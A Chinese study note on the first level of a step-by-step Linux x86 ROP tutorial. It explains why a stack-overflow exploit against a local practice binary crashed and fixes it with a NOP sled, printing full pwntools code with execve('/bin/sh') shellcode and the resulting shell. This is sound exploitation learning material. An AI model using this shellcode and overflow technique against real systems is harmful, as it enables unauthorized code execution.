蒸米ROP学习笔记（一步一步学 ROP 之 Linux_x86 篇）

蒸米原文链接（一步一步学 ROP 之 Linux_x86 篇）
蒸米GitHub链接
最近在学习蒸米的ROP_x86教程，遇到了问题：
level1：执行exp后，提示 Got EOF while reading in interactive 后退出了。

环境：

ubuntu-16.04.6-desktop-i386

原exp执行结果：

python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 3934
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 3934)
[*] Got EOF while sending in interactive

错误原因：

payload地址定位不准

解决方法：

加入滑板指令（NOP）

修改exp的payload：

#!/usr/bin/env python
from pwn import *

p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0xbfffeda0

# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = "\x90" * 20	#NOP的机器码为0x90
payload +=  shellcode + 'A' * (140 - len(shellcode) - 30)   + p32(ret)

p.send(payload)

p.interactive()

修改exp后执行结果：

$ python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 4604
[*] Switching to interactive mode
$ whoami
ubuntu16-x86
$